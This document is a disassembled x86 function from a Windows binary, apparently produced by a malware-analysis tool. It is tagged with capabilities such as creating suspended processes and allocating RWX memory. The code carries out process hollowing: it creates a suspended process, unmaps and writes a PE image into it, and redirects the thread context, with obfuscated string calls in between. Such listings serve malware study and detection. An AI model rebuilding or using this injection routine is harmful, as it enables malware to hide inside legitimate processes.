Function at 0x4205e4
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x32
push 0
push 0
dec ecx
jne 0x4205ed
push ecx
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404040
xor eax, eax
push ebp
push 0x420bb5
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x138]
mov edx, 0x420bd0
mov eax, 0x91d728
call fcn.0041f948
mov edx, dword [ebp - 0x138]
mov eax, 0x424924
call fcn.00403be4
mov eax, dword [0x42490c]
mov dword [ebp - 8], eax
mov ebx, esi
cmp word [ebx], 0x5a4d
jne 0x420b8f
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
cmp dword [edi], 0x4550
jne 0x420b8f
lea ecx, [ebp - 0x13c]
mov edx, 0x420bfc
mov eax, 0x1f3436
call fcn.0041f948
mov edx, dword [ebp - 0x13c]
mov eax, 0x424924
call fcn.00403be4
lea ecx, [ebp - 0x140]
mov edx, 0x420c28
mov eax, 0x420c60
call fcn.0041f570
mov edx, dword [ebp - 0x140]
mov eax, 0x424934
call fcn.00403be4
lea eax, [ebp - 0x68]
xor ecx, ecx
mov edx, 0x44
call fcn.00402a94
lea eax, [ebp - 0x24]
xor ecx, ecx
mov edx, 0x10
call fcn.00402a94
lea ecx, [ebp - 0x144]
mov edx, 0x420c98
mov eax, 0x785741
call fcn.0041f948
mov edx, dword [ebp - 0x144]
mov eax, 0x424924
call fcn.00403be4
mov dword [ebp - 0x68], 0x44
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404050
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
je 0x420b8f
lea ecx, [ebp - 0x148]
mov edx, 0x420cc4
mov eax, 0x34a49c
call fcn.0041f948
mov edx, dword [ebp - 0x148]
mov eax, 0x424924
call fcn.00403be4
mov dword [ebp - 0x134], 0x10007
lea ecx, [ebp - 0x14c]
mov edx, 0x420cf0
mov eax, 0x420c60
call fcn.0041f570
mov edx, dword [ebp - 0x14c]
mov eax, 0x424934
call fcn.00403be4
lea ecx, [ebp - 0x150]
mov edx, 0x420d2c
mov eax, 0x6f3b85
call fcn.0041f948
mov edx, dword [ebp - 0x150]
mov eax, 0x424924
call fcn.00403be4
lea eax, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_GetThreadContext
test eax, eax
je 0x420b8f
lea ecx, [ebp - 0x154]
mov edx, 0x420d58
mov eax, 0x74b30a
call fcn.0041f948
mov edx, dword [ebp - 0x154]
mov eax, 0x424924
call fcn.00403be4
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x90]
xor edx, edx
push edx
push eax
mov eax, dword [0x424920]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
mov eax, dword [edi + 0x34]
cmp eax, dword [ebp - 0xc]
jne 0x420883
lea ecx, [ebp - 0x158]
mov edx, 0x420d84
mov eax, 0x97e4e0
call fcn.0041f948
mov edx, dword [ebp - 0x158]
mov eax, 0x424924
call fcn.00403be4
lea ecx, [ebp - 0x15c]
mov edx, 0x420db0
mov eax, 0x420c60
call fcn.0041f570
mov edx, dword [ebp - 0x15c]
mov eax, 0x424934
call fcn.00403be4
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
push 0
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [ebp - 0x10], eax
jmp 0x42089e
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x420b8f
lea ecx, [ebp - 0x160]
mov edx, 0x420df0
mov eax, 0x42044d
call fcn.0041f948
mov edx, dword [ebp - 0x160]
mov eax, 0x424924
call fcn.00403be4
lea ecx, [ebp - 0x164]
mov edx, 0x420e1c
mov eax, 0x2ed27e
call fcn.0041f948
mov edx, dword [ebp - 0x164]
mov eax, esi
call fcn.004200d0
mov esi, eax
lea ecx, [ebp - 0x168]
mov edx, 0x420db0
mov eax, 0x420e74
call fcn.0041f570
mov edx, dword [ebp - 0x168]
mov eax, 0x424934
call fcn.00403be4
mov eax, dword [edi + 0x34]
cmp eax, dword [ebp - 0x10]
je 0x4209ea
lea ecx, [ebp - 0x16c]
mov edx, 0x420eac
mov eax, 0x7cb570
call fcn.0041f948
mov edx, dword [ebp - 0x16c]
mov eax, 0x424924
call fcn.00403be4
mov eax, dword [ebp - 0x10]
sub eax, dword [edi + 0x34]
push eax
push edi
push esi
call fcn.0041fc4c
mov eax, dword [ebp - 0x10]
mov dword [edi + 0x34], eax
lea ecx, [ebp - 0x170]
mov edx, 0x420ed8
mov eax, 0x86924a
call fcn.0041f948
mov edx, dword [ebp - 0x170]
mov eax, 0x424924
call fcn.00403be4
lea ecx, [ebp - 0x174]
mov edx, 0x420f04
mov eax, 0x420e74
call fcn.0041f570
mov edx, dword [ebp - 0x174]
mov eax, 0x424934
call fcn.00403be4
mov eax, esi
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov ecx, 0xf8
mov edx, edi
call fcn.00405f6c
lea ecx, [ebp - 0x178]
mov edx, 0x420f40
mov eax, 0x876b40
call fcn.0041f948
mov edx, dword [ebp - 0x178]
mov eax, 0x424924
call fcn.00403be4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [edi + 0x50]
push eax
push esi
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea ecx, [ebp - 0x17c]
mov edx, 0x420f64
mov eax, 0x430cf2
call fcn.0041f948
mov edx, dword [ebp - 0x17c]
mov eax, 0x424924
call fcn.00403be4
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x90]
xor edx, edx
push edx
push eax
mov eax, dword [0x424920]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea ecx, [ebp - 0x180]
mov edx, 0x420f90
mov eax, 0x1115c9
call fcn.0041f948
mov edx, dword [ebp - 0x180]
mov eax, 0x424924
call fcn.00403be4
lea ecx, [ebp - 0x184]
mov edx, 0x420f04
mov eax, 0x420db0
call fcn.0041f570
mov edx, dword [ebp - 0x184]
mov eax, 0x424934
call fcn.00403be4
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x84], eax
lea ecx, [ebp - 0x188]
mov edx, 0x420fbc
mov eax, 0x1e39df
call fcn.0041f948
mov edx, dword [ebp - 0x188]
mov eax, 0x424924
call fcn.00403be4
lea ecx, [ebp - 0x18c]
mov edx, 0x420cf0
mov eax, 0x420e74
call fcn.0041f570
mov edx, dword [ebp - 0x18c]
mov eax, 0x424934
call fcn.00403be4
lea eax, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_SetThreadContext
mov edx, dword [ebp - 0x20]
mov eax, 0x142d
call fcn.004204ec
lea ecx, [ebp - 0x190]
mov edx, 0x420fe8
mov eax, 0x461d57
call fcn.0041f948
mov edx, dword [ebp - 0x190]
mov eax, 0x424924
call fcn.00403be4
mov edx, dword [edi + 0x50]
mov eax, esi
call fcn.00402758
lea ecx, [ebp - 0x194]
mov edx, 0x421014
mov eax, 0x420e74
call fcn.0041f570
mov edx, dword [ebp - 0x194]
mov eax, 0x424934
call fcn.00403be4
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x198]
mov edx, 0x42104c
mov eax, 0x85c540
call fcn.0041f948
mov edx, dword [ebp - 0x198]
mov eax, 0x424924
call fcn.00403be4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x420bbc
lea eax, [ebp - 0x198]
mov edx, 0x19
call fcn.00403bb4
lea eax, [ebp - 4]
call fcn.00403b90
ret